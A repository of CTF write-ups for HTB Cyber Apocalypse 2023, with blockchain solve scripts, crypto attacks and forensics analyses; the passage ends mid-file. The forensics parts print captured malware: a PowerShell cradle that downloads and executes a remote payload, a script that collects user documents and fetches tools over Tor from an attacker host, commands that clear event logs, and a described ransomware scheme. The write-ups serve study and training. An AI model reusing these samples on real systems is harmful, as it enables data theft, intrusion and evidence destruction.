├── README.md ├── blockchain ├── navigating_the_unknown │ ├── README.md │ └── solve.py └── shooting_101 │ ├── README.md │ └── solve.py ├── crypto ├── ancient_encodings.md ├── multipage_recyclings.md ├── perfect_synchronization.md └── small_steps.md ├── forensics ├── alien_cradle.md ├── artifacts_of_dangerous_sightings │ ├── README.md │ ├── final.ps1 │ ├── hidden.ps1 │ ├── stage2.ps1 │ ├── stage3.ps1 │ └── stage3.py ├── bashic_ransomware │ ├── README.md │ ├── stage1.sh │ └── stage2.sh ├── extraterrestrial_persistence.md ├── interstellar_c2 │ ├── 94974f08-5853-41ab-938a-ae1bd86d8e51.dat │ ├── README.md │ ├── c2_init_config │ ├── cmd1.enc │ ├── cmd2.enc │ ├── cmd3.enc │ ├── dec_command.py │ ├── decmd.py │ ├── deresp.py │ ├── first_command │ ├── grab.py │ ├── resp1.enc │ ├── resp3.enc │ ├── resp4.enc │ ├── resp5.enc │ ├── response5.png │ ├── stage1.ps1 │ └── stage2.bin ├── packet_cyclone.md ├── pandoras_bane │ ├── README.md │ ├── dec.py │ ├── stage2.bin │ ├── stage2.enc │ ├── stage3.bin │ └── stage3.enc ├── plaintext_pleasure.md ├── relic_maps │ ├── README.md │ ├── dec.py │ ├── ext.py │ ├── nice2.bat │ ├── s2defs.txt │ ├── stage2.bat │ └── stage3.bin └── roten.md ├── hardware ├── critical_flight │ ├── README.md │ ├── all_layers.png │ ├── flag1.png │ └── flag2.png ├── debug │ ├── README.md │ └── flag.png └── timed_transmission │ ├── README.md │ └── flag.png ├── misc ├── hijack.md ├── janken.md ├── nehebkaus_trap.md ├── persistence.md ├── remote_computation.md ├── restricted.md └── the_chasms_crossing_conondrum.md ├── ml ├── plot.png └── reconfiguration.md ├── pwn ├── getting_started │ ├── README.md │ └── wrapper.py ├── initialize_connection.md ├── labyrinth │ ├── README.md │ └── solve.py ├── pandoras_box │ ├── README.md │ └── solve.py ├── questionnaire.md └── void │ ├── README.md │ └── solve.py ├── reversing ├── alien_saboteaur.md ├── cave_system.md ├── hunting_license.md ├── needle_in_a_haystack.md ├── shattered_tablet.md └── she_shells_c_shells.md ├── warmup.md └── web ├── didactic_octo_paddles.md ├── drobots.md ├── gunhead.md ├── orbital └── README.md ├── passman.md ├── spybug.md ├── trap_track ├── README.md └── exploit.py ├── trapped_source.md └── unearthly_shop ├── README.md ├── exploit.py └── payload /README.md: -------------------------------------------------------------------------------- 1 | # HTB Cyber Apocalypse 2023 writeups 2 | This repo includes my solutions to the challenges I have solved during the [contest](https://ctf.hackthebox.com/event/details/cyber-apocalypse-2023-the-cursed-mission-821). 3 | 4 | In the end I have managed to solve a total of 49/74 challenges, as an [individual contestant](https://ctf.hackthebox.com/team/overview/62988) which was enough to achieve rank 102/6483. 5 | 6 | * [Warmup](warmup.md) 7 | * Pwn 8 | - [Initialise connection](pwn/initialize_connection.md) 9 | - [Questionaire](pwn/questionnaire.md) 10 | - [Getting started](pwn/getting_started) 11 | - [Labyrinth](pwn/labyrinth) 12 | - [Pandora's box](pwn/pandoras_box) 13 | - [Void](pwn/void) 14 | * Web 15 | - [Trapped Source](web/trapped_source.md) 16 | - [Gunhead](web/gunhead.md) 17 | - [Drobots](web/drobots.md) 18 | - [Passman](web/passman.md) 19 | - [Orbital](web/orbital) 20 | - [Didactic Octo Paddles](web/didactic_octo_paddles.md) 21 | - [SpyBug](web/spybug.md) 22 | - [TrapTrack](web/trap_track) 23 | - [UnEarthly Shop](web/unearthly_shop) 24 | * Blockchain 25 | - [Navigating the Unknown](blockchain/navigating_the_unknown) 26 | - [Shooting 101](blockchain/shooting_101) 27 | * Hardware 28 | - [Timed Transmission](hardware/timed_transmission) 29 | - [Critical Flight](hardware/critical_flight) 30 | - [Debug](hardware/debug) 31 | * Reversing 32 | - [Shattered Tablet](reversing/shattered_tablet.md) 33 | - [She Shells C Shells](reversing/she_shells_c_shells.md) 34 | - [Needle in a Haystack](reversing/needle_in_a_haystack.md) 35 | - [Hunting License](reversing/hunting_license.md) 36 | - [Cave System](reversing/cave_system.md) 37 | - [Alien Saboteaur](reversing/alien_saboteaur.md) 38 | * ML 39 | - [Reconfiguration](ml/reconfiguration.md) 40 | * Misc 41 | - [Persistence](misc/persistence.md) 42 | - [Hijack](misc/hijack.md) 43 | - [Restricted](misc/restricted.md) 44 | - [Remote computation](misc/remote_computation.md) 45 | - [Janken](misc/janken.md) 46 | - [nehebkaus trap](misc/nehebkaus_trap.md) 47 | - [The Chasm's Crossing Conundrum](misc/the_chasms_crossing_conondrum.md) 48 | * Forensics 49 | - [Alien Cradle](forensics/alien_cradle.md) 50 | - [Extraterrestril Persistence](forensics/extraterrestrial_persistence.md) 51 | - [Roten](forensics/roten.md) 52 | - [Packet Cyclone](forensics/packet_cyclone.md) 53 | - [Artifacts of Dangerous Sightings](forensics/artifacts_of_dangerous_sightings) 54 | - [Relic Maps](forensics/relic_maps) 55 | - [Bashic Ransomware](forensics/bashic_ransomware) 56 | - [Interstellar C2](forensics/interstellar_c2) 57 | - [Pandora's Bane](forensics/pandoras_bane) 58 | * Crypto 59 | - [Ancient Encodings](crypto/ancient_encodings.md) 60 | - [Small StEps](crypto/small_steps.md) 61 | - [Perfect Synchronization](crypto/perfect_synchronization.md) 62 | - [Multipage Recyclings](crypto/multipage_recyclings.md) 63 | -------------------------------------------------------------------------------- /blockchain/navigating_the_unknown/README.md: -------------------------------------------------------------------------------- 1 | # Navigating the unkown (very easy) 2 | In this challenge we need to call a function on the blockchain. 3 | 4 | The readme of this challenge tells us that the goal is for the `isSolved()` function to return true. 5 | The setup function tells us how that can be achieved. 6 | ```solidity 7 | pragma solidity ^0.8.18; 8 | 9 | import {Unknown} from "./Unknown.sol"; 10 | 11 | contract Setup { 12 | Unknown public immutable TARGET; 13 | 14 | constructor() { 15 | TARGET = new Unknown(); 16 | } 17 | 18 | function isSolved() public view returns (bool) { 19 | return TARGET.updated(); 20 | } 21 | } 22 | ``` 23 | 24 | We just need to make sure that the `update` variable in the other contract is true. 25 | 26 | ```solidity 27 | pragma solidity ^0.8.18; 28 | 29 | contract Unknown { 30 | 31 | bool public updated; 32 | 33 | function updateSensors(uint256 version) external { 34 | if (version == 10) { 35 | updated = true; 36 | } 37 | } 38 | 39 | } 40 | ``` 41 | 42 | Here we see that to make the `updated` variable true, we need to call the `updateSensors` function the blockchain. 43 | 44 | The `solve.py` script will do precisely this. 45 | 46 | Calling functions requires the ABI of the contract. For this I have used an online IDE called *remix* where I placed the contract source code. 47 | Then I compiled the code and clicked on the ABI button to copy it to my clipboard 48 | 49 | After that we can use the other endpoint the challenge gives us when spawning the docker intsance and send option 3 to get the flag. 50 | -------------------------------------------------------------------------------- /blockchain/navigating_the_unknown/solve.py: -------------------------------------------------------------------------------- 1 | from web3 import Web3 2 | 3 | abi = '''[ 4 | { 5 | "inputs": [ 6 | { 7 | "internalType": "uint256", 8 | "name": "version", 9 | "type": "uint256" 10 | } 11 | ], 12 | "name": "updateSensors", 13 | "outputs": [], 14 | "stateMutability": "nonpayable", 15 | "type": "function" 16 | }, 17 | { 18 | "inputs": [], 19 | "name": "updated", 20 | "outputs": [ 21 | { 22 | "internalType": "bool", 23 | "name": "", 24 | "type": "bool" 25 | } 26 | ], 27 | "stateMutability": "view", 28 | "type": "function" 29 | } 30 | ]''' 31 | 32 | abi2 = '''[ 33 | { 34 | "inputs": [], 35 | "stateMutability": "nonpayable", 36 | "type": "constructor" 37 | }, 38 | { 39 | "inputs": [], 40 | "name": "TARGET", 41 | "outputs": [ 42 | { 43 | "internalType": "contract Unknown", 44 | "name": "", 45 | "type": "address" 46 | } 47 | ], 48 | "stateMutability": "view", 49 | "type": "function" 50 | }, 51 | { 52 | "inputs": [], 53 | "name": "isSolved", 54 | "outputs": [ 55 | { 56 | "internalType": "bool", 57 | "name": "", 58 | "type": "bool" 59 | } 60 | ], 61 | "stateMutability": "view", 62 | "type": "function" 63 | } 64 | ]''' 65 | 66 | w3 = Web3(Web3.HTTPProvider('http://159.65.81.51:30417')) 67 | contract = w3.eth.contract(address='0xA08Ec9a121550BF1BE3860F673DfE42b913EBd32', abi=abi) 68 | setup = w3.eth.contract(address='0x74b7aA986c1F3A72c1D10E46e600b1F5B385C47B', abi=abi2) 69 | # OK!! I just needed to use transact() for this function 70 | # HTB{9P5_50FtW4R3_UPd4t3D} 71 | print(contract.functions.updateSensors(10).transact()) 72 | print(setup.functions.isSolved().call()) 73 | print(contract.functions.updated().call()) 74 | -------------------------------------------------------------------------------- /blockchain/shooting_101/README.md: -------------------------------------------------------------------------------- 1 | # Shooting 101 (very easy) 2 | In this challenge we need to call some special functions on the contract. 3 | 4 | Let's take a look at the target contract: 5 | 6 | ```solidity 7 | pragma solidity ^0.8.18; 8 | 9 | contract ShootingArea { 10 | bool public firstShot; 11 | bool public secondShot; 12 | bool public thirdShot; 13 | 14 | modifier firstTarget() { 15 | require(!firstShot && !secondShot && !thirdShot); 16 | _; 17 | } 18 | 19 | modifier secondTarget() { 20 | require(firstShot && !secondShot && !thirdShot); 21 | _; 22 | } 23 | 24 | modifier thirdTarget() { 25 | require(firstShot && secondShot && !thirdShot); 26 | _; 27 | } 28 | 29 | receive() external payable secondTarget { 30 | secondShot = true; 31 | } 32 | 33 | fallback() external payable firstTarget { 34 | firstShot = true; 35 | } 36 | 37 | function third() public thirdTarget { 38 | thirdShot = true; 39 | } 40 | } 41 | ``` 42 | 43 | The `Setup.sol` just contains the `isSolved()` function like the first challenge, however now it checks all three bolleans of the target contract whether they are true. 44 | 45 | We can also see that there are some `modifiers` that are applied to the functions. 46 | This ensures the order in which they are called is first, second, then third. 47 | 48 | The first target is the `fallback` method. 49 | 50 | I saw that this is different from the other functions we had before, so I went to look for some information on `receive` and `fallback` and have found this [article](https://blog.soliditylang.org/2020/03/26/fallback-receive-split/). 51 | 52 | Here it says, that: 53 | > receive() external payable — for empty calldata (and any value) 54 | > fallback() external payable — when no other function matches (not even the receive function). Optionally payable. 55 | 56 | Both of these functions are triggered when sending just a transaction to the contract, and not directly calling any functions on it. 57 | 58 | The `receive` function is used when empty call data is received, and the `fallback` function is used when no other function on the contract matches. 59 | 60 | So to trigger `fallback` first, let's send a transaction, but with a non-empty data field. 61 | 62 | Next the second target is the `receive` function, let's send a transaction with empty data field. 63 | 64 | And finally the `third` is just a function like in the previous challange, we can just call it in the same way. 65 | 66 | `solve.py` performs these steps, although I couldn't make it work with a single invocation of the script. 67 | For each of the step the script is executed once and then I just commented the steps that were already done. 68 | 69 | Sending 3 to the other endpoint that is not the RPC we get the flag. 70 | -------------------------------------------------------------------------------- /blockchain/shooting_101/solve.py: -------------------------------------------------------------------------------- 1 | from web3 import Web3 2 | 3 | abi = '''[ 4 | { 5 | "stateMutability": "payable", 6 | "type": "fallback" 7 | }, 8 | { 9 | "inputs": [], 10 | "name": "firstShot", 11 | "outputs": [ 12 | { 13 | "internalType": "bool", 14 | "name": "", 15 | "type": "bool" 16 | } 17 | ], 18 | "stateMutability": "view", 19 | "type": "function" 20 | }, 21 | { 22 | "inputs": [], 23 | "name": "secondShot", 24 | "outputs": [ 25 | { 26 | "internalType": "bool", 27 | "name": "", 28 | "type": "bool" 29 | } 30 | ], 31 | "stateMutability": "view", 32 | "type": "function" 33 | }, 34 | { 35 | "inputs": [], 36 | "name": "third", 37 | "outputs": [], 38 | "stateMutability": "nonpayable", 39 | "type": "function" 40 | }, 41 | { 42 | "inputs": [], 43 | "name": "thirdShot", 44 | "outputs": [ 45 | { 46 | "internalType": "bool", 47 | "name": "", 48 | "type": "bool" 49 | } 50 | ], 51 | "stateMutability": "view", 52 | "type": "function" 53 | }, 54 | { 55 | "stateMutability": "payable", 56 | "type": "receive" 57 | } 58 | ]''' 59 | 60 | abi2 = '''[ 61 | { 62 | "inputs": [], 63 | "stateMutability": "nonpayable", 64 | "type": "constructor" 65 | }, 66 | { 67 | "inputs": [], 68 | "name": "TARGET", 69 | "outputs": [ 70 | { 71 | "internalType": "contract ShootingArea", 72 | "name": "", 73 | "type": "address" 74 | } 75 | ], 76 | "stateMutability": "view", 77 | "type": "function" 78 | }, 79 | { 80 | "inputs": [], 81 | "name": "isSolved", 82 | "outputs": [ 83 | { 84 | "internalType": "bool", 85 | "name": "", 86 | "type": "bool" 87 | } 88 | ], 89 | "stateMutability": "view", 90 | "type": "function" 91 | } 92 | ]''' 93 | 94 | w3 = Web3(Web3.HTTPProvider('http://159.65.62.241:31005')) 95 | contract = w3.eth.contract(address='0xDdA00938E6a998781681E182599e6f6dCFA89808', abi=abi) 96 | setup = w3.eth.contract(address='0x5341F586E1e3858203b8e65060eFFeCdc64E049F', abi=abi2) 97 | # Step 1: 98 | # w3.eth.send_transaction({'to': '0xDdA00938E6a998781681E182599e6f6dCFA89808', 'from': '0xC98533e5811dA2dcE3b233d4E00E150DdE9773d4', 'data': "0x61455567"}) 99 | 100 | # Step 2: 101 | # w3.eth.send_transaction({'to': '0xDdA00938E6a998781681E182599e6f6dCFA89808', 'from': '0xC98533e5811dA2dcE3b233d4E00E150DdE9773d4'}) 102 | 103 | # Step 3: 104 | contract.functions.third().transact() 105 | print('1', contract.functions.firstShot().call()) 106 | print('2', contract.functions.secondShot().call()) 107 | print('3', contract.functions.thirdShot().call()) 108 | print(dir(contract.functions)) 109 | -------------------------------------------------------------------------------- /crypto/ancient_encodings.md: -------------------------------------------------------------------------------- 1 | # Ancient encodings (very easy) 2 | This challenge just base64 encodes the input, converts it to bytes and writes the hex representation. 3 | 4 | To solve this we just do the inverse operation on all of these in reverse order. 5 | 6 | ```python 7 | import base64 8 | content = open('./output.txt', 'r').read() 9 | cont = bytes.fromhex(content[2:]) 10 | print(base64.b64decode(cont).decode('utf-8')) 11 | ``` 12 | -------------------------------------------------------------------------------- /crypto/multipage_recyclings.md: -------------------------------------------------------------------------------- 1 | # Multipage recyclings (easy) 2 | This challenge was about exploiting some leak from the encryption process. 3 | 4 | Let's see first how the challeng encrypts things: 5 | ```python 6 | def encrypt(self, message): 7 | iv = os.urandom(16) 8 | 9 | ciphertext = b'' 10 | plaintext = iv 11 | 12 | blocks = self.blockify(message, 16) 13 | for block in blocks: 14 | ct = self.cipher.encrypt(plaintext) 15 | encrypted_block = self.xor(block, ct) 16 | ciphertext += encrypted_block 17 | plaintext = encrypted_block 18 | 19 | return ciphertext 20 | ``` 21 | 22 | * For the cipher AES ECB is used. 23 | * A random IV is chosen 24 | * The input is converted into 16 byte blocks 25 | * The IV is encrypted = `ct` 26 | * The plaintext block is xored with `ct` = `encrypted_block` 27 | * `encrypted_block` is used as IV for the next iteration 28 | 29 | Now let's see how the leak works: 30 | 31 | ```python 32 | def leak(self, blocks): 33 | r = random.randint(0, len(blocks) - 2) 34 | leak = [self.cipher.encrypt(blocks[i]).hex() for i in [r, r + 1]] 35 | return r, leak 36 | ``` 37 | 38 | Okay leak chooses 2 random consecutive blocks, encryptes them, and return the indices and the encrypted result. 39 | 40 | Finally let's look at how main uses these 2 functions: 41 | 42 | ```python 43 | aes = CAES() 44 | message = pad(FLAG * 4, 16) 45 | 46 | ciphertext = aes.encrypt(message) 47 | ciphertext_blocks = aes.blockify(ciphertext, 16) 48 | 49 | r, leak = aes.leak(ciphertext_blocks) 50 | ``` 51 | 52 | * The message will be the flag repeated 4 times. 53 | * We encrypt the message 54 | * We leak from the encrypted message 55 | 56 | From the output we know that blocks 3 and 4 were leaked. 57 | Now how can we exploit this? 58 | 59 | We know how a certain encrypted block is generated 60 | `E = encrypt(P) ^ C`, where 61 | * `E` is the new encrypted block 62 | * `P` is the IV for the current iteration 63 | * `C` is the current plaintext block 64 | 65 | But we know that `E` will become `P` in the next iteration: 66 | `F = encrypt(E) ^ D`, where 67 | * `F` is the new encrypted block 68 | * `E` is the encrypted block from the previous equation 69 | * `D` is the current plaintext block 70 | 71 | So for the second equation it is the case that we know: 72 | * `F` - because this is in the cipher text 73 | * `encrypt(E)` - because this is a block that was leaked 74 | 75 | So `D = F ^ encrypt(E)`. 76 | 77 | We can recover 2 plaintext blocks, by xoring an encrypted, leaked block with the cipher text block that has index one higher. 78 | 79 | Here is my script to solve the challenge: 80 | ``` 81 | ct = 'bc9bc77a809b7f618522d36ef7765e1cad359eef39f0eaa5dc5d85f3ab249e788c9bc36e11d72eee281d1a645027bd96a363c0e24efc6b5caa552b2df4979a5ad41e405576d415a5272ba730e27c593eb2c725031a52b7aa92df4c4e26f116c631630b5d23f11775804a688e5e4d5624' 82 | r = 3 83 | phrases = ['8b6973611d8b62941043f85cd1483244', 'cf8f71416111f1e8cdee791151c222ad'] 84 | 85 | def blockify(message, size): 86 | return [message[i:i + size] for i in range(0, len(message), size)] 87 | 88 | def xor(a, b): 89 | return b''.join([bytes([_a ^ _b]) for _a, _b in zip(a, b)]) 90 | 91 | ct = bytes.fromhex(ct) 92 | blocks = blockify(ct, 16) 93 | print(xor(blocks[4], bytes.fromhex(phrases[0]))) 94 | print(xor(blocks[5], bytes.fromhex(phrases[1]))) 95 | 96 | # HTB{CFB_15_w34k_w17h_l34kz} 97 | ``` 98 | -------------------------------------------------------------------------------- /crypto/perfect_synchronization.md: -------------------------------------------------------------------------------- 1 | # Perfect synchronization (very easy) 2 | This challenge is about using frequency analysis to break encryption. 3 | 4 | The flag is encrypted, such that each character is passed to AES ECB encryption. 5 | This means that the same letters will generate the same cipher text as well. 6 | Further more the range of input is limited to upper case letters, curly braces `_`, and space. 7 | 8 | Now the challenge did drop the hint to use the `quipqiup` tool, however I couldn't manage to figure out during the contest how to make it work so I just did it by hand. 9 | 10 | I wrote a simple script to analyse the frequency of the strings. 11 | Here I have found 2 strings with frequency of 1, these must be the curly braces for the flag! 12 | 13 | Then we also know that before the opening brace the strings must correspond to HTB 14 | 15 | From here it was a matter of substituting all occurrences of a string with the letter we know it corresponds to, and then finding words we can guess the letters of, for example: `THE`, `THAT` already had most letters revealed, just by knowing `HTB`. 16 | 17 | I continued this process until enough letters were revealed so that the flag is completely known. 18 | -------------------------------------------------------------------------------- /crypto/small_steps.md: -------------------------------------------------------------------------------- 1 | # Small steps (very easy) 2 | In this challenge textbook RSA will be exploited. 3 | 4 | ```python 5 | def __init__(self): 6 | self.q = getPrime(256) 7 | self.p = getPrime(256) 8 | self.n = self.q * self.p 9 | self.e = 3 10 | 11 | def encrypt(self, plaintext): 12 | plaintext = bytes_to_long(plaintext) 13 | return pow(plaintext, self.e, self.n) 14 | ``` 15 | 16 | This is the RSA encrypt, implementation the challenge uses. 17 | 18 | We get the encrypted value, `n` and `e` from the remote. 19 | 20 | The vulnerability here is that `e` is too small, 3 in this case. 21 | When `e` is too small `M^e mod n` becomes `M^e` since it will never go above `n` for certain messages. 22 | 23 | This means that we can just take the third root of the encrypted message and get back the flag. 24 | 25 | Adapting the solver script with my solution in the `pwn` function 26 | 27 | ```python 28 | # This script is not necessary for the challenge but may be useful in the 29 | # future. 30 | from pwn import * 31 | import gmpy2 32 | from Crypto.Util.number import long_to_bytes 33 | 34 | # This function takes in binary data and converts it to ASCII. 35 | def toAscii(data): 36 | return data.decode().strip() 37 | 38 | 39 | # This function sends the string "E" to the server and retrieves the public key 40 | # and encrypted flag that are returned. The public key consists of two parts: 41 | # N and e. 42 | def choiceE(): 43 | r.sendlineafter(b"> ", b"E") 44 | r.recvuntil(b"N: ") 45 | N = eval(toAscii(r.recvline())) 46 | r.recvuntil(b"e: ") 47 | e = eval(toAscii(r.recvline())) 48 | r.recvuntil(b"The encrypted flag is: ") 49 | encrypted_flag = eval(toAscii(r.recvline())) 50 | return N, e, encrypted_flag 51 | 52 | 53 | # This function serves as the main logic of the solver script. It calls 54 | # `choiceE()` to retrieve the public key and encrypted flag and prints them. 55 | def pwn(): 56 | N, e, encrypted_flag = choiceE() 57 | print(N, e, encrypted_flag) 58 | pt = gmpy2.iroot(encrypted_flag, e) 59 | print(long_to_bytes(pt[0])) 60 | 61 | # This block handles the command-line flags when running `solver.py`. If the 62 | # `REMOTE` flag is set, the script connects to the remote host specified by the 63 | # `HOST` flag. Otherwise, it starts the server locally using `process()`. 64 | if __name__ == "__main__": 65 | if args.REMOTE: 66 | ip, port = args.HOST.split(":") 67 | r = remote(ip, int(port)) 68 | else: 69 | r = process(["python3", "server.py"]) 70 | 71 | pwn() 72 | ``` 73 | -------------------------------------------------------------------------------- /forensics/alien_cradle.md: -------------------------------------------------------------------------------- 1 | # Aliean cradle (very easy) 2 | We get a powershell script and we need to deobfuscate it. 3 | 4 | ```ps1 5 | if([System.Security.Principal.WindowsIdentity]::GetCurrent().Name -ne 'secret_HQ\Arth'){exit};$w = New-Object net.webclient;$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;$d = $w.DownloadString('http://windowsliveupdater.com/updates/33' + '96f3bf5a605cc4' + '1bd0d6e229148' + '2a5/2_34122.gzip.b64');$s = New-Object IO.MemoryStream(,[Convert]::FromBase64String($d));$f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}';IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd(); 6 | ``` 7 | 8 | It is plain to see the variable `$f` holds the flag in this case. 9 | 10 | ```ps1 11 | $f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}' 12 | ``` 13 | 14 | Concatanating the strings gets us the flag. 15 | -------------------------------------------------------------------------------- /forensics/artifacts_of_dangerous_sightings/README.md: -------------------------------------------------------------------------------- 1 | # Artifacts of dangerous sightings (medium) 2 | For this challenge we get a `.vhdx` dump file and the first part of the challenge is opening this file. 3 | 4 | Thankfully there's a [gist](https://gist.github.com/allenyllee/0a4c02952bf695470860b27369bbb60d) on how to do this. 5 | 6 | Instead of following the mount command specified in the guide, allow me some hindsight and let's mount the container in a way that will be helpful later, I'll explain why. 7 | 8 | ```shell 9 | ➜ HostEvidence_PANDORA sudo modprobe nbd max_part=16 10 | ➜ HostEvidence_PANDORA sudo qemu-nbd -c /dev/nbd0 ./2023-03-09T132449_PANDORA.vhdx 11 | ➜ HostEvidence_PANDORA sudo partprobe /dev/nbd0 12 | ➜ HostEvidence_PANDORA sudo mount -t ntfs -o ro,streams_interface=windows /dev/nbd0p1 ./mnt 13 | ``` 14 | 15 | Now the disk dump file is mounted under the local `mnt` folder, let's explore inside. 16 | For forensics challenges a common file I check if possible is the console history, to see if I can extract any useful information. 17 | We are in luck, it seems that this file exists in this dump. 18 | 19 | ``` 20 | type finpayload > C:\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1 21 | exit 22 | Get-WinEvent 23 | Get-EventLog -List 24 | wevtutil.exe cl "Windows PowerShell" 25 | wevtutil.exe cl Microsoft-Windows-PowerShell/Operational 26 | Remove-EventLog -LogName "Windows PowerShell" 27 | Remove-EventLog -LogName Microsoft-Windows-PowerShell/Operational 28 | Remove-EventLog 29 | ``` 30 | 31 | Okay so first an **alternate data stream** is created in the `ActiveSyncProvider.dll` file and then a bunch of event logs are cleaned out. 32 | Now this is where it makes sense that I replaced the mount command, to use `ntfs-3g` and to provide the `streams_interface=windows` option. 33 | This will allow us to access the alternate data stream. 34 | 35 | ```shell 36 | ➜ HostEvidence_PANDORA cat mnt/C/Windows/Tasks/ActiveSyncProvider.dll:hidden.ps1 37 | ``` 38 | 39 | This command will give use a large powershell command, which I have included in the `hidden.ps1` file. 40 | 41 | After decoding the base64 string and removing null bytes, we get the result I have placed in `stage2.ps1`. It looks heavily obfuscated, however at the end we see that a string is passed into execution with `|& ${=@!~!}` 42 | 43 | So let's execute the script without the execution part in an online interpreter and see what we can get, the result is placed in `stage3.ps1`. 44 | 45 | These are just a bunch of ascii characters concatanated, so I wrote the `stage3.py` script to decode it. 46 | The decoded result is placed in `final.ps1` 47 | 48 | And the source code contains the flag 49 | ```ps1 50 | $TopSecretCodeToDisableScript = "HTB{Y0U_C4nt_St0p_Th3_Alli4nc3}" 51 | ``` 52 | -------------------------------------------------------------------------------- /forensics/artifacts_of_dangerous_sightings/final.ps1: -------------------------------------------------------------------------------- 1 | ### . . . . . . . . . + . 2 | ### . . : . .. :. .___---------___. 3 | ### . . . . :.:. _".^ .^ ^. '.. :"-_. . 4 | ### . : . . .:../: . .^ :.:\. 5 | ### . . :: +. :.:/: . . . . . .:\ 6 | ### . : . . _ :::/: .:\ 7 | ### .. . . . - : :.:./. .:\ 8 | ### . . : . : .:.|. ###### #######::| 9 | ### :.. . :- : .: ::|.####### ########:| 10 | ### . . . .. . .. :\ ######## ######## :/ 11 | ### . .+ :: : -.:\ ######## ########.:/ 12 | ### . .+ . . . . :.:\. ####### #######..:/ 13 | ### :: . . . . ::.:..:.\ ..:/ 14 | ### . . . .. : -::::.\. | | .:/ 15 | ### . : . . .-:.":.::.\ .:/ 16 | ### . -. . . . .: .:::.:.\ .:/ 17 | ### . . . : : ....::_:..:\ ___ :/ 18 | ### . . . .:. .. . .: :.:.:\ :/ 19 | ### + . . : . ::. :.:. .:.|\ .:/| 20 | ### SCRIPT TO DELAY HUMAN RESEARCH ON RELIC RECLAMATION 21 | ### STAY QUIET - HACK THE HUMANS - STEAL THEIR SECRETS - FIND THE RELIC 22 | ### GO ALLIENS ALLIANCE !!! 23 | function makePass 24 | { 25 | $alph=@(); 26 | 65..90|foreach-object{$alph+=[char]$_}; 27 | $num=@(); 28 | 48..57|foreach-object{$num+=[char]$_}; 29 | 30 | $res = $num + $alph | Sort-Object {Get-Random}; 31 | $res = $res -join ''; 32 | return $res; 33 | } 34 | 35 | function makeFileList 36 | { 37 | $files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php; 38 | $List = $files -split '\r'; 39 | return $List; 40 | } 41 | 42 | function compress($Pass) 43 | { 44 | $tmp = $env:TEMP; 45 | $s = 'https://relic-reclamation-anonymous.alien:1337/prog/'; 46 | $link_7zdll = $s + '7z.dll'; 47 | $link_7zexe = $s + '7z.exe'; 48 | 49 | $7zdll = '"'+$tmp+'\7z.dll"'; 50 | $7zexe = '"'+$tmp+'\7z.exe"'; 51 | cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll; 52 | cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe; 53 | 54 | $argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php'; 55 | 56 | $argOut = 'Desktop\AllYourRelikResearchHahaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString(); 57 | $argPass = '-p' + $Pass; 58 | 59 | Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop; 60 | } 61 | 62 | $Pass = makePass; 63 | $fileList = @(makeFileList); 64 | $fileResult = makeFileListTable $fileList; 65 | compress $Pass; 66 | $TopSecretCodeToDisableScript = "HTB{Y0U_C4nt_St0p_Th3_Alli4nc3}" 67 | 68 | -------------------------------------------------------------------------------- /forensics/artifacts_of_dangerous_sightings/stage3.py: -------------------------------------------------------------------------------- 1 | cont = open('./stage3.ps1', 'r').read().split(' + ') 2 | 3 | buf = [] 4 | for tok in cont: 5 | ccode = int(tok[6:]) 6 | buf.append(chr(ccode)) 7 | 8 | print(''.join(buf)) 9 | -------------------------------------------------------------------------------- /forensics/bashic_ransomware/README.md: -------------------------------------------------------------------------------- 1 | # Bashic ransomware (hard) 2 | As part of the challenge we get 3 | * Memory dump of the target 4 | * symbols for the target (useful for analyzing memory dump with volatility) 5 | * Encrypted flag file 6 | * traffic capture 7 | 8 | First I have looked at the traffic capture file and it was pretty short. 9 | Just one HTTP request/response. 10 | I have extracted the response and placed it in the `stage1.sh` file 11 | 12 | Since this is just a bash script we can replace all the `eval` calls with the `echo` command and see what the decoded script looks like. 13 | I have modified `stage1.sh` to print what it would do instead of actually executing it to get the next stage. 14 | 15 | It seems that the output is a command which reverses a string and then base64 decodes it. Then the result of this is stored in `$x` and evaluated directly 16 | 17 | The next stage I saved in `stage2.sh` 18 | 19 | We see that this file imports a gpg key and the encrypts all files with certain extensions. 20 | The encryption works as follows: 21 | * Import hard coded GPG key 22 | * Generate a random key with `/dev/urandom` 23 | * Encrypt this random key using the GPG key from step 1 24 | * Send the encrypted key to the remote 25 | * Use the random key as a key for symmetric AES256 encryption on the specified files 26 | * Remove plaintext files 27 | 28 | At this point it must be that the key is somewhere in the memory dump. 29 | Sicne the new files have the `.a59ap` extension, and the random key is used in the same command where the new file is generated I thought it would be a good idea to look for this extension in the memory dump and see if a string matching the key could be around. 30 | 31 | And sure enough after doing a simple search for the extension I find it at offset `0x21FFB30` and at offset `0x21FFB71` there is a string which is likely the flag: 32 | * It is 16 characters long 33 | * It contains only alphanumeric characters 34 | * `wJ5kENwyu8amx2RM` 35 | 36 | Using the following command I have managed to recover the flag: 37 | ```bash 38 | echo "wJ5kENwyu8amx2RM" | gpg --batch -o plain.txt --passphrase-fd 0 --decrypt --cipher-algo AES256 flag.txt.a59ap 39 | ``` 40 | -------------------------------------------------------------------------------- /forensics/bashic_ransomware/stage1.sh: -------------------------------------------------------------------------------- 1 | gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" 